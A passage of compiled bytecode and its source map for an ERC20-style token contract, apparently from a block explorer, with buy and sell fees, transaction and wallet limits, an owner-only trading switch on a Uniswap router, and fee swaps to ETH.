aca006117be565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461062b5760405162461bcd60e51b8152600401610500906117d5565b6040516370a0823160e01b81523060048201525f906106ac906064906106a69085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561067c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a0919061180a565b90611257565b906112dc565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610708573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072c9190611821565b50505050565b5f546001600160a01b0316331461075b5760405162461bcd60e51b8152600401610500906117d5565b601254600160a01b900460ff16156107b55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610500565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610817573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083b9190611840565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108be9190611840565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610908573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092c9190611840565b601280546001600160a01b0319166001600160a01b0392831617905560115461096c9130911661095e6009600a6117b0565b6104c890633b9aca006117be565b6011546001600160a01b031663f305d719473061099d816001600160a01b03165f9081526001602052604090205490565b5f806109b05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a16573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a3b919061185b565b5050506001600160a01b03165f818152600360205260409020805460ff19166001179055600480546001600160a01b0319169091179055565b5f6103d9338484610c45565b5f546001600160a01b03163314610aa95760405162461bcd60e51b8152600401610500906117d5565b5f4711610ab4575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610add573d5f803e3d5ffd5b50565b5f546001600160a01b03163314610b095760405162461bcd60e51b8152600401610500906117d5565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610b845760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610500565b6001600160a01b038216610be55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610500565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610500565b6001600160a01b038216610d0b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610500565b5f8111610d6c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610500565b5f80546001600160a01b03858116911614801590610d9757505f546001600160a01b03848116911614155b156110e2576012546001600160a01b038581169116148015610dc757506011546001600160a01b03848116911614155b8015610deb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4a57601254600160a01b900460ff16610e415760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610500565b610e6760646106a6600954600c5411610e5c57600554610e60565b6007545b8590611257565b9050600d54821115610ebb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610500565b600e5482610edd856001600160a01b03165f9081526001602052604090205490565b610ee79190611886565b1115610f355760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610500565b600c8054905f610f4483611899565b91905055505b6012546001600160a01b03848116911614801590610f8057506001600160a01b0383165f9081526003602052604090205460ff16155b15610fff57600e5482610fa7856001600160a01b03165f9081526001602052604090205490565b610fb19190611886565b1115610fff5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610500565b6012546001600160a01b03848116911614801561102557506001600160a01b0384163014155b156110525761104f60646106a6600a54600c541161104557600654610e60565b6008548590611257565b90505b601254600160a81b900460ff1615801561107957506012546001600160a01b038481169116145b801561108e5750601254600160b01b900460ff165b801561109d5750600b54600c54115b156110e257305f90815260016020526040902054600f548111156110d8576110d86110d3846110ce8460105461131d565b61131d565b611331565b6110e06114a1565b505b801561115a57305f9081526001602052604090205461110190826114d7565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111519085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461117c9083611535565b6001600160a01b0385165f908152600160205260409020556111bf6111a18383611535565b6001600160a01b0385165f90815260016020526040902054906114d7565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112088585611535565b60405190815260200160405180910390a350505050565b5f81848411156112425760405162461bcd60e51b815260040161050091906115a2565b505f61124e84866118b1565b95945050505050565b5f825f0361126657505f6103dd565b5f61127183856117be565b90508261127e85836118c4565b146112d55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610500565b9392505050565b5f6112d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611576565b5f81831161132b57826112d5565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611377576113776118e3565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113f29190611840565b81600181518110611405576114056118e3565b6001600160a01b03928316602091820292909201015260115461142b9130911684610b22565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114639085905f908690309042906004016118f7565b5f604051808303815f87803b15801561147a575f80fd5b505af115801561148c573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610add573d5f803e3d5ffd5b5f806114e38385611886565b9050838110156112d55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610500565b5f6112d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121f565b5f81836115965760405162461bcd60e51b815260040161050091906115a2565b505f61124e84866118c4565b5f602080835283518060208501525f5b818110156115ce578581018301518582016040015282016115b2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610add575f80fd5b5f8060408385031215611613575f80fd5b823561161e816115ee565b946020939093013593505050565b5f805f6060848603121561163e575f80fd5b8335611649816115ee565b92506020840135611659816115ee565b929592945050506040919091013590565b5f6020828403121561167a575f80fd5b81356112d5816115ee565b5f8060408385031215611696575f80fd5b82356116a1816115ee565b915060208301356116b1816115ee565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561170a57815f19048211156116f0576116f06116bc565b808516156116fd57918102915b93841c93908002906116d5565b509250929050565b5f82611720575060016103dd565b8161172c57505f6103dd565b8160018114611742576002811461174c57611768565b60019150506103dd565b60ff84111561175d5761175d6116bc565b50506001821b6103dd565b5060208310610133831016604e8410600b841016171561178b575081810a6103dd565b61179583836116d0565b805f19048211156117a8576117a86116bc565b029392505050565b5f6112d560ff841683611712565b80820281158282048414176103dd576103dd6116bc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561181a575f80fd5b5051919050565b5f60208284031215611831575f80fd5b815180151581146112d5575f80fd5b5f60208284031215611850575f80fd5b81516112d5816115ee565b5f805f6060848603121561186d575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103dd576103dd6116bc565b5f600182016118aa576118aa6116bc565b5060010190565b818103818111156103dd576103dd6116bc565b5f826118de57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119475784516001600160a01b031683529383019391830191600101611922565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122044f0fd34599788c94c009b04f0a677eb11240d41b21a7aa7d7cbabc301146dce64736f6c63430008180033

Deployed Bytecode Sourcemap

3641:7830:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5322:83;;;;;;;;;;-1:-1:-1;5392:5:0;;;;;;;;;;;;-1:-1:-1;;;5392:5:0;;;;5322:83;;;;;;;:::i;:::-;;;;;;;;6871:161;;;;;;;;;;-1:-1:-1;6871:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6871:161:0;1023:187:1;4654:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4654:45:0;1215:177:1;5599:95:0;;;;;;;;;;;;;:::i;6436:427::-;;;;;;;;;;-1:-1:-1;6436:427:0;;;;;:::i;:::-;;:::i;5508:83::-;;;;;;;;;;-1:-1:-1;5508:83:0;;4283:1;2000:36:1;;1988:2;1973:18;5508:83:0;1858:184:1;5702:114:0;;;;;;;;;;-1:-1:-1;5702:114:0;;;;;:::i;:::-;-1:-1:-1;;;;;5795:13:0;5768:7;5795:13;;;:4;:13;;;;;;;5702:114;2722:148;;;;;;;;;;;;;:::i;:::-;;10022:159;;;;;;;;;;;;;:::i;4484:49::-;;;;;;;;;;;;;;;;2508:79;;;;;;;;;;-1:-1:-1;2546:7:0;2573:6;2508:79;;-1:-1:-1;;;;;2573:6:0;;;2445:51:1;;2433:2;2418:18;2508:79:0;2299:203:1;10453:236:0;;;;;;;;;;-1:-1:-1;10453:236:0;;;;;:::i;:::-;;:::i;4540:49::-;;;;;;;;;;;;;;;;10697:616;;;;;;;;;;-1:-1:-1;10697:616:0;;;;;:::i;:::-;;:::i;5413:87::-;;;;;;;;;;-1:-1:-1;5485:7:0;;;;;;;;;;;;-1:-1:-1;;;5485:7:0;;;;5413:87;;5824:167;;;;;;;;;;-1:-1:-1;5824:167:0;;;;;:::i;:::-;;:::i;4596:51::-;;;;;;;;;;;;;;;;10286:159;;;;;;;;;;;;;:::i;11323:108::-;;;;;;;;;;;;;:::i;6292:136::-;;;;;;;;;;-1:-1:-1;6292:136:0;;;;;:::i;:::-;-1:-1:-1;;;;;6400:11:0;;;6373:7;6400:11;;;:4;:11;;;;;;;;:20;;;;;;;;;;;;;6292:136;6871:161;6946:4;6963:39;343:10;6986:7;6995:6;6963:8;:39::i;:::-;-1:-1:-1;7020:4:0;6871:161;;;;;:::o;5599:95::-;5652:7;4342:15;4283:1;4342:2;:15;:::i;:::-;4326:31;;:13;:31;:::i;:::-;5672:14;;5599:95;:::o;6436:427::-;6534:4;6551:36;6561:6;6569:9;6580:6;6551:9;:36::i;:::-;6607:226;6616:6;343:10;6671;;6638:194;;6669:27;;-1:-1:-1;;;;;6671:10:0;343;7455:23;-1:-1:-1;;;;;7455:28:0;;;7376:115;6669:27;:63;;;;;6710:22;6712:7;2546;2573:6;-1:-1:-1;;;;;2573:6:0;;2508:79;6712:7;6721:10;;-1:-1:-1;;;;;6721:10:0;7455:23;-1:-1:-1;;;;;7455:28:0;;;7376:115;6710:22;6709:23;6669:63;:118;;6781:6;6669:118;;;6754:13;;6736:31;;:15;:31;:::i;:::-;6638:194;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6638:12:0;;;;;;:4;:12;;;;;;;;343:10;6638:26;;;;;;;;;;:30;:194::i;:::-;6607:8;:226::i;:::-;-1:-1:-1;6851:4:0;6436:427;;;;;:::o;2722:148::-;2635:6;;-1:-1:-1;;;;;2635:6:0;343:10;2635:22;2627:67;;;;-1:-1:-1;;;2627:67:0;;;;;;;:::i;:::-;;;;;;;;;2829:1:::1;2813:6:::0;;2792:40:::1;::::0;-1:-1:-1;;;;;2813:6:0;;::::1;::::0;2792:40:::1;::::0;2829:1;;2792:40:::1;2860:1;2843:19:::0;;-1:-1:-1;;;;;;2843:19:0::1;::::0;;2722:148::o;10022:159::-;2635:6;;-1:-1:-1;;;;;2635:6:0;343:10;2635:22;2627:67;;;;-1:-1:-1;;;2627:67:0;;;;;;;:::i;:::-;4342:15:::1;4283:1;4342:2;:15;:::i;:::-;4326:31;::::0;:13:::1;:31;:::i;:::-;10075:12;:22:::0;4342:15:::1;4283:1;4342:2;:15;:::i;:::-;4326:31;::::0;:13:::1;:31;:::i;:::-;10108:14;:22:::0;10146:27:::1;4342:15;4283:1;4342:2;:15;:::i;:::-;4326:31;::::0;:13:::1;:31;:::i;:::-;10146:27;::::0;1361:25:1;;;1349:2;1334:18;10146:27:0::1;;;;;;;10022:159::o:0;10453:236::-;2635:6;;-1:-1:-1;;;;;2635:6:0;343:10;2635:22;2627:67;;;;-1:-1:-1;;;2627:67:0;;;;;;;:::i;:::-;10559:41:::1;::::0;-1:-1:-1;;;10559:41:0;;10594:4:::1;10559:41;::::0;::::1;2445:51:1::0;10541:15:0::1;::::0;10559:63:::1;::::0;10618:3:::1;::::0;10559:54:::1;::::0;10605:7;;-1:-1:-1;;;;;10559:26:0;::::1;::::0;::::1;::::0;2418:18:1;;10559:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;10541:81:::0;-1:-1:-1;;;;;;10633:25:0;::::1;;343:10:::0;10633:48:::1;::::0;-1:-1:-1;;;;;;10633:48:0::1;::::0;;;;;;-1:-1:-1;;;;;5324:32:1;;;10633:48:0::1;::::0;::::1;5306:51:1::0;5373:18;;;5366:34;;;5279:18;;10633:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10530:159;10453:236:::0;;:::o;10697:616::-;2635:6;;-1:-1:-1;;;;;2635:6:0;343:10;2635:22;2627:67;;;;-1:-1:-1;;;2627:67:0;;;;;;;:::i;:::-;10778:11:::1;::::0;-1:-1:-1;;;10778:11:0;::::1;;;10777:12;10769:47;;;::::0;-1:-1:-1;;;10769:47:0;;5895:2:1;10769:47:0::1;::::0;::::1;5877:21:1::0;5934:2;5914:18;;;5907:30;5973:25;5953:18;;;5946:53;6016:18;;10769:47:0::1;5693:347:1::0;10769:47:0::1;10827:15;:80:::0;;-1:-1:-1;;;;;;10827:80:0::1;10864:42;10827:80:::0;;::::1;::::0;;;10952:25:::1;::::0;;-1:-1:-1;;;10952:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;10864:42;10952:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10934:55:0::1;;10998:4;11005:15;;;;;;;;;-1:-1:-1::0;;;;;11005:15:0::1;-1:-1:-1::0;;;;;11005:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10934:94;::::0;-1:-1:-1;;;;;;10934:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6531:15:1;;;10934:94:0::1;::::0;::::1;6513:34:1::0;6583:15;;6563:18;;;6556:43;6448:18;;10934:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10918:13;:110:::0;;-1:-1:-1;;;;;;10918:110:0::1;-1:-1:-1::0;;;;;10918:110:0;;::::1;;::::0;;11071:15:::1;::::0;11039:58:::1;::::0;11056:4:::1;::::0;11071:15:::1;4342;4283:1;4342:2;:15;:::i;:::-;4326:31;::::0;:13:::1;:31;:::i;11039:58::-;11108:15;::::0;-1:-1:-1;;;;;11108:15:0::1;:31;11147:21;11178:4;11184:24;11178:4:::0;-1:-1:-1;;;;;5795:13:0;5768:7;5795:13;;;:4;:13;;;;;;;5702:114;11184:24:::1;11209:1;11211::::0;11213:7:::1;2546::::0;2573:6;-1:-1:-1;;;;;2573:6:0;;2508:79;11213:7:::1;11108:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11108:129:0;;;-1:-1:-1;;;;;6969:15:1;;;11108:129:0::1;::::0;::::1;6951:34:1::0;7001:18;;;6994:34;;;;7044:18;;;7037:34;;;;7087:18;;;7080:34;7151:15;;;7130:19;;;7123:44;11221:15:0::1;7183:19:1::0;;;7176:35;6885:19;;11108:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;;;;11248:12:0::1;;::::0;;;:5:::1;:12;::::0;;;;:19;;-1:-1:-1;;11248:19:0::1;11263:4;11248:19;::::0;;11278:10:::1;:27:::0;;-1:-1:-1;;;;;;11278:27:0::1;::::0;;::::1;::::0;;10697:616::o;5824:167::-;5902:4;5919:42;343:10;5943:9;5954:6;5919:9;:42::i;10286:159::-;2635:6;;-1:-1:-1;;;;;2635:6:0;343:10;2635:22;2627:67;;;;-1:-1:-1;;;2627:67:0;;;;;;;:::i;:::-;10371:1:::1;10347:21;:25;10339:34;;;::::0;::::1;;10384:53;::::0;343:10;;10415:21:::1;10384:53:::0;::::1;;;::::0;::::1;::::0;;;10415:21;343:10;10384:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10286:159::o:0;11323:108::-;2635:6;;-1:-1:-1;;;;;2635:6:0;343:10;2635:22;2627:67;;;;-1:-1:-1;;;2627:67:0;;;;;;;:::i;:::-;11376:11:::1;:18:::0;;-1:-1:-1;;;;11405:18:0;-1:-1:-1;;;11405:18:0;;;11323:108::o;7040:328::-;-1:-1:-1;;;;;7133:19:0;;7125:68;;;;-1:-1:-1;;;7125:68:0;;7735:2:1;7125:68:0;;;7717:21:1;7774:2;7754:18;;;7747:30;7813:34;7793:18;;;7786:62;-1:-1:-1;;;7864:18:1;;;7857:34;7908:19;;7125:68:0;7533:400:1;7125:68:0;-1:-1:-1;;;;;7212:21:0;;7204:68;;;;-1:-1:-1;;;7204:68:0;;8140:2:1;7204:68:0;;;8122:21:1;8179:2;8159:18;;;8152:30;8218:34;8198:18;;;8191:62;-1:-1:-1;;;8269:18:1;;;8262:32;8311:19;;7204:68:0;7938:398:1;7204:68:0;-1:-1:-1;;;;;7283:11:0;;;;;;;:4;:11;;;;;;;;:20;;;;;;;;;;;;;:29;;;7328:32;;1361:25:1;;;7328:32:0;;1334:18:1;7328:32:0;;;;;;;7040:328;;;:::o;7499:1923::-;-1:-1:-1;;;;;7587:18:0;;7579:68;;;;-1:-1:-1;;;7579:68:0;;8543:2:1;7579:68:0;;;8525:21:1;8582:2;8562:18;;;8555:30;8621:34;8601:18;;;8594:62;-1:-1:-1;;;8672:18:1;;;8665:35;8717:19;;7579:68:0;8341:401:1;7579:68:0;-1:-1:-1;;;;;7666:16:0;;7658:64;;;;-1:-1:-1;;;7658:64:0;;8949:2:1;7658:64:0;;;8931:21:1;8988:2;8968:18;;;8961:30;9027:34;9007:18;;;9000:62;-1:-1:-1;;;9078:18:1;;;9071:33;9121:19;;7658:64:0;8747:399:1;7658:64:0;7750:1;7741:6;:10;7733:64;;;;-1:-1:-1;;;7733:64:0;;9353:2:1;7733:64:0;;;9335:21:1;9392:2;9372:18;;;9365:30;9431:34;9411:18;;;9404:62;-1:-1:-1;;;9482:18:1;;;9475:39;9531:19;;7733:64:0;9151:405:1;7733:64:0;7808:17;2573:6;;-1:-1:-1;;;;;7842:15:0;;;2573:6;;7842:15;;;;:32;;-1:-1:-1;2546:7:0;2573:6;-1:-1:-1;;;;;7861:13:0;;;2573:6;;7861:13;;7842:32;7838:1258;;;7905:13;;-1:-1:-1;;;;;7897:21:0;;;7905:13;;7897:21;:55;;;;-1:-1:-1;7936:15:0;;-1:-1:-1;;;;;7922:30:0;;;7936:15;;7922:30;;7897:55;:70;;;;-1:-1:-1;;;;;;7958:9:0;;;;;;:5;:9;;;;;;;;7956:11;7897:70;7893:470;;;7997:11;;-1:-1:-1;;;7997:11:0;;;;7989:44;;;;-1:-1:-1;;;7989:44:0;;9763:2:1;7989:44:0;;;9745:21:1;9802:2;9782:18;;;9775:30;-1:-1:-1;;;9821:18:1;;;9814:51;9882:18;;7989:44:0;9561:345:1;7989:44:0;8064:76;8136:3;8064:67;8086:15;;8076:9;;:25;8075:55;;8116:14;;8075:55;;;8103:12;;8075:55;8064:6;;:10;:67::i;:76::-;8052:88;;8177:12;;8167:6;:22;;8159:60;;;;-1:-1:-1;;;8159:60:0;;10113:2:1;8159:60:0;;;10095:21:1;10152:2;10132:18;;;10125:30;10191:27;10171:18;;;10164:55;10236:18;;8159:60:0;9911:349:1;8159:60:0;8272:14;;8262:6;8246:13;8256:2;-1:-1:-1;;;;;5795:13:0;5768:7;5795:13;;;:4;:13;;;;;;;5702:114;8246:13;:22;;;;:::i;:::-;:40;;8238:79;;;;-1:-1:-1;;;8238:79:0;;10597:2:1;8238:79:0;;;10579:21:1;10636:2;10616:18;;;10609:30;10675:28;10655:18;;;10648:56;10721:18;;8238:79:0;10395:350:1;8238:79:0;8336:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7893:470;8389:13;;-1:-1:-1;;;;;8383:19:0;;;8389:13;;8383:19;;;;:34;;-1:-1:-1;;;;;;8408:9:0;;;;;;:5;:9;;;;;;;;8406:11;8383:34;8379:154;;;8472:14;;8462:6;8446:13;8456:2;-1:-1:-1;;;;;5795:13:0;5768:7;5795:13;;;:4;:13;;;;;;;5702:114;8446:13;:22;;;;:::i;:::-;:40;;8438:79;;;;-1:-1:-1;;;8438:79:0;;10597:2:1;8438:79:0;;;10579:21:1;10636:2;10616:18;;;10609:30;10675:28;10655:18;;;10648:56;10721:18;;8438:79:0;10395:350:1;8438:79:0;8558:13;;-1:-1:-1;;;;;8552:19:0;;;8558:13;;8552:19;:44;;;;-1:-1:-1;;;;;;8575:21:0;;8591:4;8575:21;;8552:44;8549:175;;;8629:79;8704:3;8629:70;8651:16;;8641:9;;:26;8640:58;;8683:15;;8640:58;;;8669:13;;8629:6;;:10;:70::i;:79::-;8617:91;;8549:175;8745:6;;-1:-1:-1;;;8745:6:0;;;;8744:7;:30;;;;-1:-1:-1;8761:13:0;;-1:-1:-1;;;;;8755:19:0;;;8761:13;;8755:19;8744:30;:45;;;;-1:-1:-1;8778:11:0;;-1:-1:-1;;;8778:11:0;;;;8744:45;:77;;;;;8803:18;;8793:9;;:28;8744:77;8740:345;;;8891:4;8842:28;5795:13;;;:4;:13;;;;;;8940:17;;8919:38;;8916:124;;;8980:60;8990:49;8994:6;9001:37;9005:20;9026:11;;9001:3;:37::i;:::-;8990:3;:49::i;:::-;8980:9;:60::i;:::-;9059:10;:8;:10::i;:::-;8823:262;8740:345;9111:11;;9108:151;;9169:4;9156:19;;;;:4;:19;;;;;;:34;;9180:9;9156:23;:34::i;:::-;9149:4;9136:19;;;;:4;:19;;;;;;;:54;;;;9208:39;;-1:-1:-1;;;;;9208:39:0;;;;;;;9237:9;1361:25:1;;1349:2;1334:18;;1215:177;9208:39:0;;;;;;;;9108:151;-1:-1:-1;;;;;9280:10:0;;;;;;:4;:10;;;;;;:22;;9295:6;9280:14;:22::i;:::-;-1:-1:-1;;;;;9269:10:0;;;;;;:4;:10;;;;;:33;9322:35;9335:21;:6;9346:9;9335:10;:21::i;:::-;-1:-1:-1;;;;;9322:8:0;;;;;;:4;:8;;;;;;;:12;:35::i;:::-;-1:-1:-1;;;;;9313:8:0;;;;;;;:4;:8;;;;;:44;;;;9373:41;;;9392:21;:6;9403:9;9392:10;:21::i;:::-;9373:41;;1361:25:1;;;1349:2;1334:18;9373:41:0;;;;;;;7568:1854;7499:1923;;;:::o;1400:190::-;1486:7;1522:12;1514:6;;;;1506:29;;;;-1:-1:-1;;;1506:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1546:9:0;1558:5;1562:1;1558;:5;:::i;:::-;1546:17;1400:190;-1:-1:-1;;;;;1400:190:0:o;1598:246::-;1656:7;1680:1;1685;1680:6;1676:47;;-1:-1:-1;1710:1:0;1703:8;;1676:47;1733:9;1745:5;1749:1;1745;:5;:::i;:::-;1733:17;-1:-1:-1;1778:1:0;1769:5;1773:1;1733:17;1769:5;:::i;:::-;:10;1761:56;;;;-1:-1:-1;;;1761:56:0;;11447:2:1;1761:56:0;;;11429:21:1;11486:2;11466:18;;;11459:30;11525:34;11505:18;;;11498:62;-1:-1:-1;;;11576:18:1;;;11569:31;11617:19;;1761:56:0;11245:397:1;1761:56:0;1835:1;1598:246;-1:-1:-1;;;1598:246:0:o;1852:132::-;1910:7;1937:39;1941:1;1944;1937:39;;;;;;;;;;;;;;;;;:3;:39::i;9432:98::-;9489:7;9516:1;9514;:3;9513:9;;9521:1;9513:9;;;-1:-1:-1;9519:1:0;9432:98;-1:-1:-1;9432:98:0:o;9538:476::-;4965:6;:13;;-1:-1:-1;;;;4965:13:0;-1:-1:-1;;;4965:13:0;;;9633:16:::1;::::0;;9647:1:::1;9633:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9633:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9633:16:0::1;9609:40;;9678:4;9660;9665:1;9660:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9660:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9704:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9704:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9660:7;;9704:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9694:4;9699:1;9694:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9694:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9769:15:::1;::::0;9737:62:::1;::::0;9754:4:::1;::::0;9769:15:::1;9787:11:::0;9737:8:::1;:62::i;:::-;9810:15;::::0;:196:::1;::::0;-1:-1:-1;;;9810:196:0;;-1:-1:-1;;;;;9810:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9891:11;;9810:15:::1;::::0;9933:4;;9960::::1;::::0;9980:15:::1;::::0;9810:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5001:6:0;:14;;-1:-1:-1;;;;5001:14:0;;;-1:-1:-1;;;;9538:476:0:o;10189:89::-;10228:10;;:42;;-1:-1:-1;;;;;10228:10:0;;;;10248:21;10228:42;;;;;:10;:42;:10;:42;10248:21;10228:10;:42;;;;;;;;;;;;;;;;;;;1069:179;1127:7;;1159:5;1163:1;1159;:5;:::i;:::-;1147:17;;1188:1;1183;:6;;1175:46;;;;-1:-1:-1;;;1175:46:0;;13098:2:1;1175:46:0;;;13080:21:1;13137:2;13117:18;;;13110:30;13176:29;13156:18;;;13149:57;13223:18;;1175:46:0;12896:351:1;1256:136:0;1314:7;1341:43;1345:1;1348;1341:43;;;;;;;;;;;;;;;;;:3;:43::i;1992:189::-;2078:7;2113:12;2106:5;2098:28;;;;-1:-1:-1;;;2098:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2137:9:0;2149:5;2153:1;2149;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258